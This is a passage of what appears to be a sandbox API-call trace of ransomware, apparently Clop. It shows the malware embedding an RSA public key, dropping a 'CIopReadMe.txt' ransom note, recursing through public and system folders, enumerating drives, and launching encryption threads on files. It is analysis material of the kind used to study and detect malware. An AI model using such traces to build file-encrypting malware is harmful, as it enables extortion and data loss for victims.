NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0107.735] lstrcpyW (in: lpString1=0x2dc93de, lpString2="RecordedTV.library-ms" | out: lpString1="RecordedTV.library-ms") returned="RecordedTV.library-ms" [0107.735] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\Public\\Libraries\\" | out: lpString1="\\\\?\\C:\\Users\\Public\\Libraries\\") returned="\\\\?\\C:\\Users\\Public\\Libraries\\" [0107.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0107.736] WaitForSingleObject (hHandle=0x6c0, dwMilliseconds=0xffffffff) returned 0x0 [0107.840] SetErrorMode (uMode=0x1) returned 0x1 [0107.840] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\Public\\Libraries\\CIopReadMe.txt") returned 40 [0107.840] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\CIopReadMe.txt" (normalized: "c:\\users\\public\\libraries\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.840] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0107.840] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0107.840] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0107.840] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0107.840] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0107.840] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\CIopReadMe.txt" (normalized: "c:\\users\\public\\libraries\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b4 [0107.864] WriteFile (in: hFile=0x6b4, lpBuffer=0x5f1458*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc8a3c, lpOverlapped=0x0 | out: lpBuffer=0x5f1458*, lpNumberOfBytesWritten=0x2dc8a3c*=0x759, lpOverlapped=0x0) returned 1 [0107.865] CloseHandle (hObject=0x6b4) returned 1 [0107.865] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.865] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0107.865] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0107.865] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0107.866] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0107.866] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0107.866] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0107.866] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0107.866] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.866] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.866] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.866] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.866] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.866] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.866] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.866] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.866] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0107.866] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0107.866] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.866] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0107.866] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0107.866] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.866] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0107.866] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0107.866] SetErrorMode (uMode=0x1) returned 0x1 [0107.866] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0107.866] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0107.866] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Music\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0107.866] lstrcatW (in: lpString1="C:\\Users\\Public\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0107.866] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0107.866] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0107.866] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0107.867] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.867] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.867] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0107.867] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0107.867] lstrlenW (lpString="desktop.ini") returned 11 [0107.867] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.867] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0107.867] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0107.867] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0107.867] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0107.867] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0107.867] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0107.867] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0107.867] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.867] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.867] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.867] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.867] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.867] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.867] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0107.867] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0107.867] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.867] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0107.867] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0107.867] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.868] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0107.868] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0107.868] SetErrorMode (uMode=0x1) returned 0x1 [0107.868] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0107.868] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0107.868] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Pictures\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0107.868] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0107.868] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0107.868] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0107.868] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0107.868] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.868] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.868] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0107.868] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0107.868] lstrlenW (lpString="desktop.ini") returned 11 [0107.868] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.868] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0107.868] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0107.868] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0107.868] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0107.868] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0107.868] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0107.868] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0107.868] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.868] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.868] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.869] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.869] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.869] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.869] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0107.869] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0107.869] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0107.869] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0107.869] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0107.869] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0107.869] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0107.869] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0107.869] SetErrorMode (uMode=0x1) returned 0x1 [0107.869] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0107.869] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0107.869] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Videos\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0107.869] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0107.869] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0107.869] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0107.869] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0107.869] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.869] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.869] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0107.869] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0107.869] lstrlenW (lpString="desktop.ini") returned 11 [0107.869] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.869] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0107.869] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0107.870] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0107.870] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0107.870] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0107.870] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0107.870] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0107.870] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0107.870] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0107.870] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.870] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0107.870] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0107.870] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0107.870] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0107.870] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0107.870] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0107.870] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 1 [0107.870] FindClose (in: hFindFile=0x67e378 | out: hFindFile=0x67e378) returned 0 [0107.870] FindNextFileW (in: hFindFile=0x5d6b08, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0107.870] FindClose (in: hFindFile=0x5d6b08 | out: hFindFile=0x5d6b08) returned 1 [0107.870] FindClose (in: hFindFile=0x5d6b08 | out: hFindFile=0x5d6b08) returned 0 [0107.871] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0107.871] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0107.871] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0107.871] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0107.871] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0107.871] lstrcatW (in: lpString1="C:\\", lpString2="Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0107.871] SetErrorMode (uMode=0x1) returned 0x1 [0107.871] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0107.871] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0107.871] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0107.871] lstrcatW (in: lpString1="C:\\Windows\\", lpString2="*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0107.871] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e838 [0107.871] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0107.871] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0107.871] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0107.871] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0107.871] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0107.871] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0107.871] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0107.871] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0107.872] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0107.872] FindNextFileW (in: hFindFile=0x5d6a48, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0 [0107.872] FindClose (in: hFindFile=0x5d6a48 | out: hFindFile=0x5d6a48) returned 1 [0107.872] FindClose (in: hFindFile=0x5d6a48 | out: hFindFile=0x5d6a48) returned 0 [0107.872] Sleep (dwMilliseconds=0x493e0) [0117.886] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="A:") returned 2 [0117.886] GetDriveTypeW (lpRootPathName="A:") returned 0x1 [0117.887] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="B:") returned 2 [0117.887] GetDriveTypeW (lpRootPathName="B:") returned 0x1 [0117.887] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="C:") returned 2 [0117.887] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0117.887] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="D:") returned 2 [0117.887] GetDriveTypeW (lpRootPathName="D:") returned 0x1 [0117.887] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="E:") returned 2 [0117.887] GetDriveTypeW (lpRootPathName="E:") returned 0x1 [0117.887] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="F:") returned 2 [0117.887] GetDriveTypeW (lpRootPathName="F:") returned 0x1 [0117.887] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="G:") returned 2 [0117.887] GetDriveTypeW (lpRootPathName="G:") returned 0x1 [0117.887] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="H:") returned 2 [0117.887] GetDriveTypeW (lpRootPathName="H:") returned 0x1 [0117.887] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="I:") returned 2 [0117.887] GetDriveTypeW (lpRootPathName="I:") returned 0x1 [0117.888] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="J:") returned 2 [0117.888] GetDriveTypeW (lpRootPathName="J:") returned 0x1 [0117.888] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="K:") returned 2 [0117.888] GetDriveTypeW (lpRootPathName="K:") returned 0x1 [0117.888] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="L:") returned 2 [0117.888] GetDriveTypeW (lpRootPathName="L:") returned 0x1 [0117.888] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="M:") returned 2 [0117.888] GetDriveTypeW (lpRootPathName="M:") returned 0x1 [0117.888] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="N:") returned 2 [0117.888] GetDriveTypeW (lpRootPathName="N:") returned 0x1 [0117.888] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="O:") returned 2 [0117.888] GetDriveTypeW (lpRootPathName="O:") returned 0x1 [0117.888] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="P:") returned 2 [0117.888] GetDriveTypeW (lpRootPathName="P:") returned 0x1 [0117.888] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Q:") returned 2 [0117.888] GetDriveTypeW (lpRootPathName="Q:") returned 0x1 [0117.888] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="R:") returned 2 [0117.888] GetDriveTypeW (lpRootPathName="R:") returned 0x1 [0117.889] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="S:") returned 2 [0117.889] GetDriveTypeW (lpRootPathName="S:") returned 0x1 [0117.889] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="T:") returned 2 [0117.889] GetDriveTypeW (lpRootPathName="T:") returned 0x1 [0117.889] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="U:") returned 2 [0117.889] GetDriveTypeW (lpRootPathName="U:") returned 0x1 [0117.889] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="V:") returned 2 [0117.889] GetDriveTypeW (lpRootPathName="V:") returned 0x1 [0117.889] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="W:") returned 2 [0117.889] GetDriveTypeW (lpRootPathName="W:") returned 0x1 [0117.889] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="X:") returned 2 [0117.889] GetDriveTypeW (lpRootPathName="X:") returned 0x1 [0117.889] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Y:") returned 2 [0117.889] GetDriveTypeW (lpRootPathName="Y:") returned 0x1 [0117.889] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="Z:") returned 2 [0117.889] GetDriveTypeW (lpRootPathName="Z:") returned 0x1 [0117.889] GetSystemInfo (in: lpSystemInfo=0x2dcff04 | out: lpSystemInfo=0x2dcff04*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0117.889] SetErrorMode (uMode=0x1) returned 0x1 [0117.889] lstrcpyW (in: lpString1=0x2dcfb10, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.890] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0117.890] lstrcpyW (in: lpString1=0x2dcf700, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0117.890] lstrcatW (in: lpString1="C:\\", lpString2="*.*" | out: lpString1="C:\\*.*") returned="C:\\*.*" [0117.890] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 0x67e9f8 [0117.890] PathFindFileNameW (pszPath="C:") returned="C:" [0117.890] lstrcpyW (in: lpString1=0x2dce0f4, lpString2="C:" | out: lpString1="C:") returned="C:" [0117.890] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.890] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0117.890] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0117.890] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0117.890] wsprintfW (in: param_1=0x2dceee0, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\") returned 7 [0117.890] Sleep (dwMilliseconds=0xd) [0117.904] lstrcpyA (in: lpString1=0x2dce328, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0117.904] lstrcpyW (in: lpString1=0x2dce886, lpString2="bootmgr" | out: lpString1="bootmgr") returned="bootmgr" [0117.904] lstrcpyW (in: lpString1=0x2dce486, lpString2="\\\\?\\C:\\" | out: lpString1="\\\\?\\C:\\") returned="\\\\?\\C:\\" [0117.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dce328, dwCreationFlags=0x0, 